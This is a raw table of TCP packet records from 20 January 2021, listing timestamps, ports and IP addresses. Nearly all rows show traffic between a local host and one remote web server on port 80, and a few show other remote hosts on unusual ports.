Jan 20, 2021 16:14:30.700947046 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.701647997 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.702255964 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.703303099 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.703393936 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.704399109 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.705522060 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.705549955 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.706892014 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.706969023 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.707838058 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.708986044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.708992958 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.710134983 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.710206032 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.711255074 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.712357044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.712429047 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.713620901 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.714662075 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.714984894 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.715859890 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.716934919 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.716949940 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.717364073 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.718069077 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.719614983 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.719722986 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.720459938 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.720537901 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.722181082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.722246885 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.722593069 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.722670078 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.723742008 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.723812103 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.724917889 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.724986076 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.726281881 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.727385044 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.727454901 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.727853060 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.728430986 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.728491068 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.729463100 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.732939005 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.734215975 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.735929012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.736047029 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.736536980 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.736982107 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.737541914 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.738450050 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.742018938 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.742379904 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.742386103 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.742506981 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.744631052 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.745670080 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.745749950 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.746798992 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.747932911 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.747988939 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.748009920 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.751317978 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.751594067 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.752373934 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.752430916 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.753606081 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.753662109 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.754704952 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.754781008 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.757210016 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.758236885 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.758330107 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.758646965 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.761904955 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.762614012 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.763181925 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.765780926 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.766835928 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.766868114 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:30.766942024 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.767699003 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.769033909 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.771872044 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.772672892 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.772972107 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.776822090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.776870012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.777827978 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.778230906 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.778481007 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.781784058 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.781861067 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.782917023 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.782984972 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.787004948 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.788073063 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.788568974 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.791610003 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.791680098 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.792752981 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.792810917 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.796308994 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.796380997 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.797195911 CET	3388	49178	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:30.797456980 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.798651934 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.800436020 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.800755978 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.801470995 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.801556110 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.802699089 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.802978992 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.803793907 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.803857088 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.805001974 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.805249929 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.806082010 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.806411028 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.807207108 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.807285070 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.808378935 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.809497118 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.809607029 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.809629917 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.810617924 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.812192917 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.812942028 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.813045025 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.814024925 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.815191031 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.816418886 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.816531897 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.817534924 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.818658113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.818660975 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.818770885 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.819807053 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.820674896 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.820919037 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.822091103 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.822168112 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.823219061 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.823997021 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.824321032 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.825186014 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.825448990 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.826539993 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.826615095 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.827533007 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.827723026 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.828779936 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.828859091 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.828927040 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.830112934 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.830179930 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.831161022 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.831234932 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.832628012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.832786083 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.833728075 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.835125923 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.835199118 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.836275101 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.837585926 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.837686062 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.838560104 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.838660002 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.839960098 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.841011047 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.841124058 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.842192888 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.842660904 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.843341112 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.843415976 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.844662905 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.844750881 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.845824957 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.845886946 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.847068071 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.847134113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.848131895 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.848201990 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.849447012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.849523067 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.850548983 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.850616932 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.851932049 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.852000952 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.853094101 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.853156090 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.855678082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.855720043 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.855753899 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.855775118 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.856662989 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.856720924 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.857841015 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.857906103 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.859102011 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.859177113 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.860305071 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.860378981 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.861515999 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.861603022 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.862653017 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.862736940 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.864048004 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.864106894 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.865094900 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.865164042 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.866377115 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.866435051 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.868494987 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.868623972 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.868679047 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.868726969 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.869905949 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.869988918 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.871176958 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.871234894 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.872313976 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.872370005 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.873902082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.873960018 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.875044107 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.875154972 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.876219034 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.876274109 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.877460957 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.877538919 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.878596067 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.878659010 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.879714966 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.879792929 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.880884886 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.880944967 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.881980896 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.882036924 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.883066893 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.883136034 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.884444952 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.884510040 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.885632992 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.885703087 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.886768103 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.886838913 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.888008118 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.888068914 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.889121056 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.889173985 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.891011953 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.891072035 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.892100096 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.892200947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.893515110 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.893594027 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.906151056 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906176090 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906193018 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906208992 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906224966 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906244993 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906244993 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.906264067 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.906265020 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.906277895 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.906286001 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.906297922 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.913669109 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.913783073 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.914764881 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.914854050 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.915904045 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.915992975 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.917046070 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.917119980 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.923608065 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.923665047 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.924668074 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.924737930 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.926037073 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.926107883 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.927093983 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.927170038 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.938967943 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.939034939 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.939872980 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.939937115 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.941046953 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.941132069 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.942229033 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.942318916 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.948173046 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.948256969 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.949902058 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.949974060 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.950738907 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.950818062 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.951514959 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.951591969 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.957638979 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.957767010 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.958712101 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.958796024 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.959832907 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.959922075 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.961002111 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.961101055 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.969686031 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.969775915 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.970841885 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.970904112 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.973164082 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.973262072 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.974251032 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.974351883 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.986387014 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.986684084 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.987443924 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.987546921 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.989846945 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.989963055 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.990917921 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.991002083 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.992185116 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.992269993 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:30.993573904 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:30.993675947 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.004153967 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.004237890 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.005357981 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.005486965 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.006331921 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.006434917 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.007431984 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:31.007545948 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:31.013500929 CET	80	49176	64.37.52.138	192.168.2.22
